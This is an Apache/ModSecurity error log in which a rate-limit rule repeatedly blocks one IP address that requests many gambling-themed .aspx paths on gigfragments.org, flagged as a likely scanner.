[Sun Feb 22 01:58:21.018345 2026] [:error] [pid 3179:tid 3412] [client 51.83.237.175:43794] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aZnyPdgAWCcL8bTGJUUwoQAAAAA"]
[Sun Feb 22 01:58:22.344615 2026] [:error] [pid 3204:tid 3480] [client 51.83.237.175:43804] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZnyPnAwnUMG8727rz4apAAAAI4"]
[Sun Feb 22 01:58:23.634267 2026] [:error] [pid 4789:tid 4815] [client 51.83.237.175:43818] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZnyP69_231lp37V1xxWfgAAARg"]
[Sun Feb 22 01:58:23.750339 2026] [:error] [pid 3179:tid 3426] [client 51.83.237.175:43834] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZnyP9gAWCcL8bTGJUUwqQAAAA4"]
[Sun Feb 22 01:58:24.421318 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:43838] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZnyQEtaWLejEJFWY3FB4gAAAMk"]
[Sun Feb 22 01:58:25.772241 2026] [:error] [pid 3516:tid 3527] [client 51.83.237.175:43842] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aZnyQUtaWLejEJFWY3FB5QAAAMg"]
[Sun Feb 22 01:58:26.563857 2026] [:error] [pid 3516:tid 3538] [client 51.83.237.175:43852] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZnyQktaWLejEJFWY3FB6gAAANM"]
[Sun Feb 22 01:58:26.667296 2026] [:error] [pid 3516:tid 3531] [client 51.83.237.175:43862] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZnyQktaWLejEJFWY3FB7AAAAMw"]
[Sun Feb 22 01:58:28.543491 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:46868] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZnyRK9_231lp37V1xxWjQAAAQg"]
[Sun Feb 22 01:58:28.814506 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:46882] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZnyRK9_231lp37V1xxWkAAAAQw"]
[Sun Feb 22 01:58:30.136395 2026] [:error] [pid 3516:tid 3524] [client 51.83.237.175:46898] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZnyRktaWLejEJFWY3FB8wAAAMU"]
[Sun Feb 22 01:58:30.877436 2026] [:error] [pid 3516:tid 3536] [client 51.83.237.175:46910] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZnyRktaWLejEJFWY3FB9QAAANE"]
[Sun Feb 22 01:58:31.706879 2026] [:error] [pid 4789:tid 4814] [client 51.83.237.175:46922] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZnyR69_231lp37V1xxWnAAAARc"]
[Sun Feb 22 01:58:33.143612 2026] [:error] [pid 3195:tid 3457] [client 51.83.237.175:46930] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZnySQ28anZ1nWyZCI5HYwAAAFI"]
[Sun Feb 22 01:58:33.371282 2026] [:error] [pid 4789:tid 4795] [client 51.83.237.175:46946] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZnySa9_231lp37V1xxWpAAAAQQ"]
[Sun Feb 22 01:58:34.487804 2026] [:error] [pid 3516:tid 3534] [client 51.83.237.175:46962] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZnySktaWLejEJFWY3FB-AAAAM8"]
[Sun Feb 22 01:58:35.475405 2026] [:error] [pid 3179:tid 3416] [client 51.83.237.175:46974] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZnyS9gAWCcL8bTGJUUwtQAAAAQ"]
[Sun Feb 22 01:58:36.553027 2026] [:error] [pid 4789:tid 4801] [client 51.83.237.175:46978] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZnyTK9_231lp37V1xxWqAAAAQo"]
[Sun Feb 22 01:58:36.751818 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:46994] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZnyTEtaWLejEJFWY3FB_wAAAM4"]
[Sun Feb 22 01:58:37.633965 2026] [:error] [pid 3179:tid 3423] [client 51.83.237.175:37826] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZnyTdgAWCcL8bTGJUUwuwAAAAs"]
[Sun Feb 22 01:58:38.994302 2026] [:error] [pid 3516:tid 3521] [client 51.83.237.175:37828] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZnyTktaWLejEJFWY3FCAgAAAMI"]
[Sun Feb 22 01:58:39.653587 2026] [:error] [pid 3516:tid 3523] [client 51.83.237.175:37830] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZnyT0taWLejEJFWY3FCAwAAAMQ"]
[Sun Feb 22 01:58:40.056783 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:37832] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZnyUK9_231lp37V1xxWsQAAAQg"]
[Sun Feb 22 01:58:41.311078 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:37834] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZnyUa9_231lp37V1xxWtwAAARI"]
[Sun Feb 22 01:58:42.085708 2026] [:error] [pid 4789:tid 4814] [client 51.83.237.175:37850] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZnyUq9_231lp37V1xxWugAAARc"]
[Sun Feb 22 01:58:42.127822 2026] [:error] [pid 3195:tid 3461] [client 51.83.237.175:37858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZnyUg28anZ1nWyZCI5HawAAAFY"]
[Sun Feb 22 01:58:43.448032 2026] [:error] [pid 3516:tid 3537] [client 51.83.237.175:37870] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZnyU0taWLejEJFWY3FCDQAAANI"]
[Sun Feb 22 01:58:44.130564 2026] [:error] [pid 3179:tid 3421] [client 51.83.237.175:37882] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZnyVNgAWCcL8bTGJUUwwgAAAAk"]
[Sun Feb 22 01:58:44.452097 2026] [:error] [pid 4789:tid 4807] [client 51.83.237.175:37892] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZnyVK9_231lp37V1xxWvgAAARA"]
[Sun Feb 22 01:58:45.592516 2026] [:error] [pid 3204:tid 3476] [client 51.83.237.175:37902] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZnyVXAwnUMG8727rz4axwAAAIo"]
[Sun Feb 22 01:58:46.139167 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:37910] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZnyVq9_231lp37V1xxWwQAAAQw"]
[Sun Feb 22 01:58:47.175269 2026] [:error] [pid 3516:tid 3537] [client 51.83.237.175:55758] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZnyV0taWLejEJFWY3FCGAAAANI"]
[Sun Feb 22 01:58:47.677479 2026] [:error] [pid 3516:tid 3519] [client 51.83.237.175:55774] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZnyV0taWLejEJFWY3FCGgAAAMA"]
[Sun Feb 22 01:58:48.143627 2026] [:error] [pid 4789:tid 4806] [client 51.83.237.175:55788] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZnyWK9_231lp37V1xxWyQAAAQ8"]
[Sun Feb 22 01:58:49.921204 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:55798] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZnyWXAwnUMG8727rz4aywAAAI8"]
[Sun Feb 22 01:58:49.983996 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:55800] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZnyWUtaWLejEJFWY3FCHwAAAMk"]
[Sun Feb 22 01:58:50.175141 2026] [:error] [pid 3516:tid 3536] [client 51.83.237.175:55812] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZnyWktaWLejEJFWY3FCIAAAANE"]
[Sun Feb 22 01:58:52.336889 2026] [:error] [pid 3179:tid 3431] [client 51.83.237.175:55842] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZnyXNgAWCcL8bTGJUUwywAAABM"]
[Sun Feb 22 01:58:52.357301 2026] [:error] [pid 3179:tid 3434] [client 51.83.237.175:55828] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZnyXNgAWCcL8bTGJUUwzAAAABY"]
[Sun Feb 22 01:58:52.643680 2026] [:error] [pid 3204:tid 3475] [client 51.83.237.175:55858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZnyXHAwnUMG8727rz4a0QAAAIk"]
[Sun Feb 22 01:58:54.487736 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:55870] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZnyXnAwnUMG8727rz4a0wAAAJQ"]
[Sun Feb 22 01:58:54.671980 2026] [:error] [pid 3204:tid 3469] [client 51.83.237.175:55880] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZnyXnAwnUMG8727rz4a1AAAAIM"]
[Sun Feb 22 01:58:54.848973 2026] [:error] [pid 3204:tid 3470] [client 51.83.237.175:55882] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZnyXnAwnUMG8727rz4a1QAAAIQ"]
[Sun Feb 22 01:59:09.204975 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:55890] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZnyba9_231lp37V1xxXCQAAARI"]
[Sun Feb 22 01:59:10.009700 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:59858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZnybktaWLejEJFWY3FCRAAAAM4"]
[Sun Feb 22 01:59:11.210959 2026] [:error] [pid 3195:tid 3439] [client 51.83.237.175:59874] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZnybw28anZ1nWyZCI5HqAAAAEA"]
[Sun Feb 22 01:59:11.233278 2026] [:error] [pid 3516:tid 3519] [client 51.83.237.175:52370] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZnyb0taWLejEJFWY3FCRQAAAMA"]
[Sun Feb 22 01:59:11.965199 2026] [:error] [pid 3179:tid 3425] [client 51.83.237.175:52382] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZnyb9gAWCcL8bTGJUUw6AAAAA0"]
[Sun Feb 22 01:59:13.139948 2026] [:error] [pid 3195:tid 3446] [client 51.83.237.175:52384] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZnycQ28anZ1nWyZCI5HswAAAEc"]
[Sun Feb 22 01:59:13.297528 2026] [:error] [pid 3204:tid 3470] [client 51.83.237.175:52386] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZnycXAwnUMG8727rz4a-QAAAIQ"]
[Sun Feb 22 01:59:13.975980 2026] [:error] [pid 3516:tid 3525] [client 51.83.237.175:52390] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZnycUtaWLejEJFWY3FCTwAAAMY"]
[Sun Feb 22 01:59:15.244510 2026] [:error] [pid 4789:tid 4795] [client 51.83.237.175:52402] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZnyc69_231lp37V1xxXHQAAAQQ"]
[Sun Feb 22 01:59:15.488213 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:52404] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZnyc69_231lp37V1xxXIAAAAQg"]
[Sun Feb 22 01:59:16.030242 2026] [:error] [pid 3195:tid 3440] [client 51.83.237.175:52412] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZnydA28anZ1nWyZCI5HwwAAAEE"]
[Sun Feb 22 01:59:17.276679 2026] [:error] [pid 4789:tid 4806] [client 51.83.237.175:57444] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZnyda9_231lp37V1xxXJgAAAQ8"]
